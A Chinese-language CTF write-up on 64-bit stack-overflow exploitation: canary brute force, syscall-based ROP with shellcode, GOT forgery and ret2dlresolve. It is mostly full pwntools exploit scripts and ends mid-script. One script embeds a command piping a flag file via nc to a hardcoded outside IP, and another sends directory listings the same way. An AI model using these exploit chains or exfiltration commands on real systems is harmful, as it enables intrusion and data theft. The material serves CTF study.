栈溢出(64bit)的一些操作<二>

栈溢出<二>(64位)

1
再来记录一下64位题目,这其中还是有挺多好(ma)玩(fan)的技巧......

64位爆破cookie---------same as 32bit

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

因为这道题也是socket来fork子进程来执行的,也是很明显的栈溢出,所以爆破cookie绕canary还是跟32位的差不多,就不多说了,之后也可以相继把ebp和返回地址也爆破出来,这样就可以得到程序段地址就可以绕过PIE了。然后常规泄露libc地址,同样的有两个方法,可以把/bin/sh(或者cat flag |nc xxx.xxx.xxx.xxx xxxx)写到一个可写地址,再调用system;或者直接使用dup2函数,把服务器上面的输出返回到客户端就ok,具体的可以查看这篇博客

详细脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python
from pwn import *

# coding=utf-8
context.log_level = 'debug'
context(os='linux',arch='amd64',log_level='debug')

#p = remote('localhost',xxxx)
#p = remote("remoteIP",xxxx)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("libc_x64.so.6")
elf = ELF("./coopie_x64")

#IP = 'remoteIP'
IP = 'localhost'
PORT = xxxx

canary = "\x00"
padding = "a"*72
'''
for x in xrange(7):
for y in xrange(256):
with remote(IP, PORT) as p:
if y == 10:
continue
p.send(padding+canary+chr(y) + chr(10))
try:
info = p.recvuntil('GoodBye')
p.close()
break
except Exception as e:
print('exception %s' % e)
p.close()
continue
print('got single byte %x' % y)
canary += chr(y)
print "cookie bruteforce complete with cookie = " + hex(u64(canary))
'''
#ret = 0x55c224fe34ee #remote
#ebp = 0x7ffd7e883350 #remote
#canary = 0xe5af676405213000 #remote
canary = 0x44b20bab33e0ec00
ebp = 0x7ffc51e1b370
ret = 0x55d6e88514ee
base_addr = ret - 0x14ee


#0x00000000000015a3 : pop rdi ; ret
#0x0000000000000e60 : pop rbp ; ret
#0x0000000000001183 : leave ;ret
#0x00000000000015a1 : pop rsi ; pop r15 ; ret
#bss_offset = 0x0000000000202120 #rw
'''
p = remote(IP, PORT)
send_plt = elf.plt['send']
send_got = elf.got['send']
#base_addr = u32(base)-0x3000
payload1 = padding
pause()
p.sendlineafter('Would you like 64-bit cookie PIE?\n', payload1)
p.interactive()
'''
##############
p = remote(IP, PORT)
send_plt = elf.plt['send']
send_got = elf.got['send']
recv_plt = elf.plt['recv']
pop_rbp = base_addr + 0x0000000000000e60
pop_rdi = base_addr + 0x00000000000015a3
bss_addr = base_addr + 0x0000000000202120
leave_ret = base_addr + 0x0000000000001183
pp_ret = base_addr + 0x00000000000015a1
call_send = 0x00000000000012D0
start_addr = base_addr + 0x000F30

payload1 = padding + p64(canary) + p64(ebp) + p64(pp_ret) + p64(send_got + base_addr) + p64(0) + p64(call_send + base_addr) + "\x30\x0f\x85\xe8\xd6\x55"
pause()
p.sendlineafter('Would you like 64-bit cookie PIE?\n', payload1)
send_addr = u64(p.recv(6) + '\x00\x00')
print "send_addr = " + hex(send_addr)
#p.interactive()
###########################

libc_base = send_addr - libc.symbols['send']
dup2_offset = libc.symbols["dup2"]
binsh_offset = next(libc.search('/bin/sh'))
dup2_addr = libc_base + dup2_offset
binsh_addr = libc_base + binsh_offset
system_addr = libc_base + libc.symbols['system']

p.info('base_addr addr 0x%x' % base_addr)
p.info('libc_base addr 0x%x' % libc_base)
p.info('system addr 0x%x' % system_addr)
p.info('binsh addr 0x%x' % binsh_addr)
p.info('dup2 addr 0x%x' % dup2_addr)
p.info('start addr 0x%x' % start_addr)

call_recv = base_addr + 0x000000000000F67
writable_addr = base_addr + 0x000000000202128
p.info('writable_addr 0x%x' % writable_addr)
p.info('recv addr 0x%x' % call_recv)

p = remote(IP, PORT)
payload2 = padding + p64(canary) + p64(ebp) + p64(pp_ret) + p64(writable_addr) + p64(0) + p64(call_recv)

pause()
p.sendlineafter('Would you like 64-bit cookie PIE?\n', payload2)
p.interactive()
p.sendline('/bin/sh\x00')

p.close()

p = remote(IP, PORT)
payload3 = padding + p64(canary) + p64(ebp) + p64(pop_rdi) + p64(writable_addr) + p64(system_addr) + "\x30\x0f\x85\xe8\xd6\x55"

p.sendlineafter('Would you like 64-bit cookie PIE?\n', payload3)


'''
p = remote(IP, PORT)
payload2 = padding + p64(canary) + p64(ebp) + p64(pp_ret) + p64(0) + p64(0) + p64(dup2_addr) + "\x30\x2f\xfe\x24\xc2\x55"
pause()
p.sendlineafter('Would you like 64-bit cookie PIE?\n', payload2)

payload3 = padding + p64(canary) + p64(ebp) + p64(pp_ret) + p64(1) + p64(0) + p64(dup2_addr) + "\x30\x2f\xfe\x24\xc2\x55"
#pause()
p.sendlineafter('Would you like 64-bit cookie PIE?\n',payload3)

payload4 = padding + p64(canary) + p64(ebp) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('Would you like 64-bit cookie PIE?\n',payload4)
'''
p.interactive()

'''
Gadgets information
============================================================
0x000000000000159c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000159e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000015a0 : pop r14 ; pop r15 ; ret
0x00000000000015a2 : pop r15 ; ret
0x000000000000159b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000159f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000e60 : pop rbp ; ret
0x00000000000015a3 : pop rdi ; ret
0x00000000000015a1 : pop rsi ; pop r15 ; ret
0x000000000000159d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000c19 : ret
0x00000000000004b0 : ret 0
0x0000000000000c72 : ret 0x2013
0x0000000000001119 : ret 0x8b48
0x0000000000001214 : ret 0xb60f
'''

**tips:**注意的是gets会把\x0a改成\x00所以要考虑是否影响后面一个payload写入。

当一个64位的程序没有了gadget

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

当一个64位的程序没有了gadget ,可以看到寄存器已经全部被覆盖,而且可以控制rdi,rsi,rdx这些寄存器的gadget只有这些:

1
2
3
0x00000000004001b9 : pop rdi ; mov rbx, qword ptr [rdx] ; ret
0x00000000004001a5 : pop rdx ; add rcx, qword ptr [rsi] ; ret
0x00000000004001c2 : pop rsi ; add rcx, qword ptr [rcx] ; ret

那就这的凉凉,不过你肯定万万没想到调用一个syscall竟然可以救到我…

是不是非常激动,原因参考这个,似乎调用syscall的时候就会对rcx做一个赋值,重复执行让rcx为0,根据程序相对偏移,每一次调用syscall,rcx都会被赋值为同一个地址。
这样一来就是各种绕的gadget,先是通过write打印一些东西让rax=10(mprotect的系统调用号),然后再去调用mprotect,最后写入shellcode,再返回到shellcode执行就ok了。

详细脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = remote('remoteIP',xxxxx)
p = process("./rop_x64")
'''
0x00000000004001b9 : pop rdi ; mov rbx, qword ptr [rdx] ; ret
0x00000000004001a5 : pop rdx ; add rcx, qword ptr [rsi] ; ret
0x00000000004001c2 : pop rsi ; add rcx, qword ptr [rcx] ; ret
0x000000000040019b : syscall ; ret
'''

start = 0x00000000040010C
syscall = 0x0000000000400132
add_addr = 0x0000000000400223
sys_read = 0x000000000400130
sys_write = 0x000000000040013D
syscall_ret_gadget = 0x000000000040019b
pop_rsi = 0x00000000004001c2
pop_rdx = 0x00000000004001a5
pop_rdi = 0x00000000004001b9
data = 0x00400000



padding = "A"*16
payload = padding + p64(syscall_ret_gadget) + p64(pop_rsi) + p64(data) + p64(pop_rdx) + p64(data) + p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(10) + p64(sys_write) + p64(pop_rdx) + p64(data) + p64(pop_rdi) + p64(data) + p64(pop_rdx) + p64(7) + p64(syscall_ret_gadget) + p64(pop_rdx) + p64(data) + p64(pop_rdi) + p64(0) + p64(pop_rdx) + p64(0x100) + p64(sys_read) + p64(data)

pause()
p.send(payload)

shellcode = asm(shellcraft.sh())
payload2 = shellcode + "\x00"*(0x100-len(shellcode))
p.send(payload2)

p.interactive()


'''
0x00000000004001b9 : pop rdi ; mov rbx, qword ptr [rdx] ; ret
0x00000000004001a5 : pop rdx ; add rcx, qword ptr [rsi] ; ret
0x00000000004001c2 : pop rsi ; add rcx, qword ptr [rcx] ; ret
0x000000000040019b : syscall ; ret
'''

伪造got表

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

突然出现一道32bit的题目,这道题是0ctf2015的flagen的原题

首先输入一串字符串,然后溢出点是他会把H\h变成1-1,由一个字符变成三个字符的溢出,但是他是写到堆上的。

但是在strcpy却助攻一波,把堆上的都覆盖到了栈上,而且我们可以刚好把dest溢出,控制为___stack_chk_fail_got,那么久可以覆盖其got表为ret地址,这样每次出发canary的时候就会执行ret,这样就可以绕过canary的检查。

那么问题来了,我们把输入都覆盖到___stack_chk_fail_got后面的位置了,那后面的函数got表就都不能用了,但是其实函数调用是这样的:比如调用puts–>跳到plt表(08048550)->got–>返回plt+6的地方去push一个特殊的特定值,然后再跳到plt0的地方去解析。那么我们直接把对应puts的got表的地方设置为puts_plt + 6就可以绕过跳到got表这一操作了,这样就算是成功伪造got表啦…只不过他需要重新去解析一次这个函数,而不是解析过的函数可以直接从got表上面取罢了。

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# coding=utf-8
# coding=utf-8

from pwn import *

context(os='linux',arch='amd64',log_level='debug',aslr = 'False')

local = 1

if local:
p = process("./flagen")#,env={'LD_PRELOAD':'./libc.so.6'})
elf = ELF("./flagen")
libc = ELF('./libc.so.6')
else:
p = remote('remoteIP',xxxxx)
#p = remote("localhostIP",xxxxx)
elf = ELF("./flagen")
libc = ELF('./libc.so.6')


p.recvuntil("choice: ")
p.sendline("1")

bss_buf = 0x0804B010 + 0x500
retn = 0x08048603
stack_chk_fail_got = elf.got["__stack_chk_fail"]
puts_got = elf.got["puts"]
printf_plt = elf.plt["printf"]
print_got = elf.got["printf"]
read_plt = elf.plt["read"]
pop_ebx_ret = 0x080484c5
pop_ebp_ret = 0x08048f3b
pop_edi_ebp_ret = 0x08048f3a

leave_ret = 0x080489C1
readline = 0x08048D83

print "puts_plt = " + hex(printf_plt)
print "puts_got = " + hex(puts_got)

payload = p32(retn) + "a"*8 + p32(elf.plt["puts"] + 6)
payload += "H"*18 + '00' + p32(elf.got["read"]) + "H"*64
payload += p32(bss_buf) + p32(pop_ebp_ret) + p32(stack_chk_fail_got) + p32(elf.plt["puts"]) + p32(pop_ebp_ret) + p32(elf.got["printf"]) + p32(readline) + p32(pop_edi_ebp_ret) + p32(bss_buf) + p32(0x01010101) + p32(pop_ebp_ret) + p32(bss_buf-0x4) + p32(leave_ret)

pause()
p.sendline(payload)

p.recvuntil("choice: ")
p.sendline("4")

#p.interactive()
leak = u32(p.recvn(4))
info('leak = %x' % leak)
base = leak - libc.symbols["printf"]
info('libc_base = %x' % base)
libc.address += base

gets = p32(libc.symbols["gets"])
system = p32(libc.symbols["system"])
buf = p32(bss_buf + 0x100)
payload = gets + system + buf + buf
p.sendline(payload)

p.interactive()

re2dlresolve的各种变异

参考:

1
2
3
4
5
64位的`ret2dlresolve`与32位大体上一致,也是构造结构体。但是结构体的大小以及有些元素的顺序发生了变化。
绕过`version`的方法不能再用用`x86`的方法了,这是因为在64位下,程序一般分配了`0x400000-0x401000,0x600000-0x601000,0x601000-0x602000`这三个段,而`VERSYM`在`0x400000-0x401000`,伪造的一些表我们一般是伪造在`0x601000-0x602000`这个`rw`段上,这样`idx`是落不到已经分配的段上的,因此构造失败.

方法变成了覆盖 `(link_map + 0x1c8)` 处为 `NULL`, 也就是`if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)`这一句.
但是`link_map`是在ld.so上的,因此我们需要leak,若程序没有输出函数,则无法使用这个方法.

关于64位的ret2dlresolve有三个题目:

  • 栈迁移,泄露link_map 并把(link_map + 0x1c8) 处设置为 NULL,再对三个结构体进行伪造,这个是不需要libc的
  • 这道题目的主要技巧:因为溢出字节不多,而且需要提前做好的操作较多,泄露和写和栈迁移,本来一般都是先泄露再覆盖再栈迁移的,但是因为溢出字节不够,返回程序段再溢出很容易就写到了环境变量,因此我用了多次栈迁移的办法,每做一次栈迁移就进行一次操作再迁移,这样一来就可以做很多东西也不用担心破环环境变量了。
  • 第二题主要是给了libc,然后这样就可以用另外一种不需要leak不需要overwrite的办法—我们调用_dl_runtime_resolve的时候的时候传进去了两个参数,一个是linkmap,一个是我们第一个方法中伪造的rel_offset,绕过的方法就是伪造linkmap
  • 这个因为linkmap的结构很大,根本没有办法可以完整的伪造一份,而且看源码可以知道而且linkmap中有一个叫l_scope的成员在_dl_fixup内部的_dl_lookup_symbol_x会用上,而l_scope指向ld内部,这就没有办法伪造的,但是可以利用伪造解析过的函数来绕过这一判断(就不进_dl_lookup_symbol_x)。有一个大佬写这个写的特别好。这个是例子,里面的xx_game就是用这个办法来做的。
  • 题目三大概是题目二的升级版,在题目二的基础上加上了seccomp_rule_add_exact限定了只能使用open、read、exit等的syscall,所以没有write,这类题目比较像0ctf上的blackhole,特别像0ctf的balckhole2,去看了sixstars大佬的exp…没看懂,讲一下我做的思路吧,先用题目二的伪造linkmap来open flag,并把flag读到一个特定地方,然后利用ret2csu那个通用gadget,可以利用cmp rbx,rbp这个比较来判断,如果程序跑崩了就判断错误(一开始[r12+rbx*8]设置为ret地址,但是当rbx+1之后再跳转回去的时候就变成一个错误地址就会崩掉),timeout即得到flag(把一堆pop后面的那个ret设置为一个会等待输入的地址),这样一来就可以得到正确的flag了。
  • 听大佬们说这道题目还有一个方法就是利用memcmp,这个可以比较内存中的前n个字符,感觉比我的方法简单实现一点
  • 这里还有一个技巧就是因为可以伪造linkmap,而且又提供了libc,这样就可以使用libc里面的gadget和函数了

题目一详细脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
#!/usr/bin/env python
# coding=utf-8
# coding=utf-8

from pwn import *


context(os='linux',arch='amd64',log_level='debug',aslr = 'False')
#p = remote('xxxxxx',xxx)
#p = remote('xxx', xxx)
p = process("./ret2dlresolve_x64")
padding = "A"*0x28
elf = ELF("./ret2dlresolve_x64")

p.sendline("AAA")
payload = padding + "\xAD"
#pause()
p.sendline(payload)
p.sendline("AAA")
p.sendline("AAA")
payload = padding + "\xAD"

p.sendline(payload)
p.recvuntil("Welcome, AAA\n")
p.recvuntil("Will you eat this 64-bit PIE once again\n\x00")
p.recvuntil("Welcome, AAA\n")
p.recvuntil("Will you eat this 64-bit PIE once again\n\x00")

main_addr = u64(p.recvn(6) + "\x00\x00")

base_addr = main_addr - 0x000000000000A2C
read_plt = 0x770 + base_addr
write_plt = 0x730 + base_addr
print "base_addr = " + hex(base_addr)
print "read_plt = " + hex(read_plt)
print "write_plt = " + hex(write_plt)

pop_rbp_ret = 0x0000000000000800 + base_addr
pppp_ret = 0x0000000000000b6c + base_addr #pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
offset = 0x28
pop_rdi_ret = 0x0000000000000b73 + base_addr
link_map_addr = 0x00000000201008 + base_addr
pop_rsi_r15_ret = 0x0000000000000b71 + base_addr
mov_rax = 0x0000000000000a22 + base_addr


rdx_contrl = 0x000000000000B50 + base_addr
ppppp_ret = 0x0000000000000b6b + base_addr #pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pppppp_ret = 0x000000000000B6A + base_addr #pop rbx ;pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
ret_addr = 0x0000000000000701 +base_addr
pop_rbp_ret = 0x0000000000000800 + base_addr
write_got = 0x000000000201020 + base_addr
read_got = 0x000000000201040 + base_addr
bug_main = 0x000000000000A44 +base_addr
call_read_addr = 0x000000000000AE1 + base_addr
pop_rsp_ppp_addr = 0x0000000000000b6d +base_addr
bssoffset100_addr = 0x000000000201060 + base_addr
print "bss_offset_0x100_addr = " + hex(bssoffset100_addr)

################## stack pivoting
def pivoting(rbx , rbp, r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'A' * offset
payload += p64(pppppp_ret) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(bug_main)
p.sendline(payload)
p.sendline("A"*0x10)
payload = 'a' * offset
payload += p64(rdx_contrl)
payload += 'a' * 0x38
payload += p64(pop_rsp_ppp_addr)
payload += p64(bssoffset100_addr)
#pause()
p.sendline(payload)
sleep(1)

## RDI, RSI, RDX, RCX, R8, R9, more on the stack
pivoting(0 , 1, read_got, 0x100, bssoffset100_addr, 0) #stack pivoting

#p.interactive()
###########leak_link_map bssoffset100_addr
def leak(rbx , rbp, r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x18
payload += p64(pppppp_ret) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(rdx_contrl)
payload += 'a' * 0x38
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(bssoffset100_addr + 0x100)
payload += p64(0)
payload += p64(read_plt)
payload += p64(pop_rsp_ppp_addr)
payload += p64(bssoffset100_addr + 0x100)
#pause()
p.sendline(payload)
sleep(1)


## RDI, RSI, RDX, RCX, R8, R9, more on the stack

leak(0 , 1, write_got, 0x100, link_map_addr, 1)
p.recvuntil("Will you eat this 64-bit PIE once again\n\x00")
p.recvuntil("Will you eat this 64-bit PIE once again\n\x00")
link_map = u64(p.recvn(6) + "\x00\x00")
print "link_map = " + hex(link_map)
p.recv(0x100)
#p.interactive()

###########read_link_map_offset_0x1c8 = 0 bssoffset100_addr + 0x100
def read(rbx , rbp, r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x18
payload += p64(pppppp_ret) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(rdx_contrl)
payload += "A" * 0x38
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(bssoffset100_addr + 0x200)
payload += p64(0)
payload += p64(read_plt)
payload += p64(pop_rsp_ppp_addr)
payload += p64(bssoffset100_addr + 0x200)
#pause()
p.sendline(payload)
p.sendline(p64(0))
sleep(1)

read(0 , 1, read_got, 0x200, link_map + 0x1c8, 0)
print "read_link_map_offset_0x1c8 = 0"
#p.send(p64(0x0))
#p.interactive()
#########################################################################################################
########################## bssoffset100_addr + 0x200


addr_plt = elf.get_section_by_name('.plt').header.sh_addr + base_addr
addr_rela_plt = elf.get_section_by_name('.rela.plt').header.sh_addr + base_addr #jmprel = 0x640
addr_dynsym = elf.get_section_by_name('.dynsym').header.sh_addr + base_addr
addr_dynstr = elf.get_section_by_name('.dynstr').header.sh_addr + base_addr

addr_reloc = bssoffset100_addr + 0x200 + 0x120
reloc_offset = (addr_reloc - addr_rela_plt) / 24
print hex(addr_plt)
print hex(addr_rela_plt)
print hex(addr_reloc)
print hex(reloc_offset)
print hex(addr_dynsym)

#r_info = 0x0000000400000007
r_addend = 0
r_offset = 0x000000000201020 #write_got pie he
############fake_sym
fake_addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((fake_addr_sym-addr_dynsym) % 24)
fake_addr_sym += padding_dynsym
#st_name = 0x00000022
st_name = fake_addr_sym + 24 - addr_dynstr
r_info = (((fake_addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7


#addr_cmd = addr_symstr + 7

#reloc_offset = 1

addr_cmd = bssoffset100_addr + 0x200 + 0x180
print "#########################"
print hex(fake_addr_sym)
print hex(addr_dynsym)
print hex(r_offset)
print hex(r_info)
print hex(st_name)
print hex(padding_dynsym)
print hex(addr_cmd)



#cmd = "id | nc xxxx xxxx"
#cmd = "id | nc xxxx xxx"
cmd = "/bin/sh"
'''
def exploit(rbx , rbp, r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = "A"*0x8*3
payload += p64(pppppp_ret) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(rdx_contrl)
payload += p64(1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(addr_plt)
payload += p64(reloc_offset)
payload += "A" * (0x110 - len(payload))
payload += p64(ret_addr)
payload += "A"*(0x120 - len(payload))
payload += p64(r_offset)
payload += p64(r_info)
payload += p64(r_addend)
payload += "A" * padding_dynsym
payload += p32(st_name) # Elf64_Sym
payload += p32(0x00000012)
payload += p64(0)
payload += p64(0)
payload += "write" + "\x00"
payload += "A" * (0x180 - len(payload))
payload += cmd + "\x00"
payload += "A" * (0x200 - len(payload))
pause()
p.send(payload)

exploit(0 , 1,bssoffset100_addr + 0x200 + 0x110, len(cmd), bssoffset100_addr + 0x200 + 0x180, 1) #write

'''
def exploit(rbx , rbp, r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = "B"*0x8*3
payload += p64(pop_rdi_ret)
payload += p64(addr_cmd)
payload += p64(addr_plt)
payload += p64(reloc_offset)
payload += "\x00" * (0x110 - len(payload))
payload += p64(ret_addr)
#payload += "A" * (0x120 - len(payload))
#payload += cmd + "\x00"
payload += "\x00" * (0x120 - len(payload))
payload += p64(r_offset)
payload += p64(r_info)
payload += p64(r_addend)
payload += "\x00" * padding_dynsym
payload += p32(st_name) # Elf64_Sym
payload += p32(0x00000012)
payload += p64(0)
payload += p64(0)
payload += "system" + "\x00\x00"
payload += "\x00" * (0x180 - len(payload))
payload += cmd + "\x00"
payload += "\x00" * (0x200 - len(payload))
pause()
p.send(payload)


exploit(0 , 1, bssoffset100_addr + 0x200 + 0x110, 0 , 0 , addr_cmd)
p.interactive()

'''
r_info = (((addr_sym - symtab) / syment) << 32) | 0x7
Elf64_Rel *reloc = JMPREL + reloc_offset * 0x18 ==> reloc_offset = (addr_reloc - addr_relplt) / 0x18

typedef struct elf64_sym {
Elf64_Word st_name; /* Symbol name, index in string tbl */
unsigned char st_info; /* Type and binding attributes */
unsigned char st_other; /* No defined meaning, 0 */
Elf64_Half st_shndx; /* Associated section index */
Elf64_Addr st_value; /* Value of the symbol */
Elf64_Xword st_size; /* Associated symbol size */
} Elf64_Sym;

buf += struct.pack('<IIQQ', st_name, 0x12, 0, 0)


1. 为了调用_dl_runtime_resolve_avx(link_map, reloc_arg),先压入一个很大的数作为reloc_arg,控制RIP为PLT[0](上文中的0x4003f0)
2. reloc_arg需要使得reloc可以落在我们能控制的地方,所以这里需要泄露link_map的地址
3. 伪造reloc,使得sym落在我们能控制的地方
4. 伪造sym,使得其name为system
'''

'''
Dynamic section at offset 0xdf8 contains 26 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000c (INIT) 0x6e8
0x000000000000000d (FINI) 0xb84
0x0000000000000019 (INIT_ARRAY) 0x200de0
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x200de8
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x298
0x0000000000000005 (STRTAB) 0x460
0x0000000000000006 (SYMTAB) 0x2c8
0x000000000000000a (STRSZ) 217 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x201000
0x0000000000000002 (PLTRELSZ) 168 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0x640
0x0000000000000007 (RELA) 0x580
0x0000000000000008 (RELASZ) 192 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000006ffffffb (FLAGS_1) Flags: 8000000
0x000000006ffffffe (VERNEED) 0x560
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0x53a
0x000000006ffffff9 (RELACOUNT) 3
0x0000000000000000 (NULL) 0x0

'''
'''
0x0000000000000a22 : mov rax, qword ptr [rsp + 0x28] ; add rsp, 0x38 ; ret
0x0000000000000b6d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret #conrtl rsp

contrl rdx
.text:0000000000000B50 mov rdx, r13
.text:0000000000000B53 mov rsi, r14
.text:0000000000000B56 mov edi, r15d
.text:0000000000000B59 call qword ptr [r12+rbx*8]

Gadgets information
============================================================
0x0000000000000b6c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000b6e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000b70 : pop r14 ; pop r15 ; ret
0x0000000000000b72 : pop r15 ; ret
0x0000000000000b6b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000b6f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000800 : pop rbp ; ret
0x0000000000000b73 : pop rdi ; ret
0x0000000000000b71 : pop rsi ; pop r15 ; ret
0x0000000000000b6d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000701 : ret
0x0000000000000782 : ret 0x2008
0x0000000000000aba : ret 0x8948
0x00000000000009c0 : ret 0x8b48
0x000000000000096c : ret 0xb60f

Unique gadgets found: 15
'''

题目二脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# coding=utf-8
# coding=utf-8

from pwn import *

context(os='linux',arch='amd64',log_level='debug',aslr = 'False')

padding = "A"*0x28
local = 0

if local:
p = process("./level6_x64",env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./level6_x64")
libc = ELF('./libc_x64.so.6')
else:
p = remote('xxxxxx',xxx)
#p = remote('xxxxxx',xxx)
elf = ELF("./level6_x64")
libc = ELF('./libc_x64.so.6')

def ret2dl_resolve_linkmap_x64(ELF_obj,known_offset_addr,two_offset,linkmap_addr):
plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
linkmap=""
linkmap+=p64(two_offset&(2**64-1))
linkmap+=p64(0)+p64(linkmap_addr+0x18)
linkmap+=p64((linkmap_addr+0x30-two_offset)&(2**64-1))+p64(0x7)+p64(0)
linkmap+=p64(0)
linkmap+=p64(0)+p64(known_offset_addr-8)
linkmap+="cat flag|nc 115.159.24.113 6666\x00"#for system offset 0x48
#linkmap+="ls -la|nc 207.148.103.237 6666\x00"
linkmap = linkmap.ljust(0x68,'A')
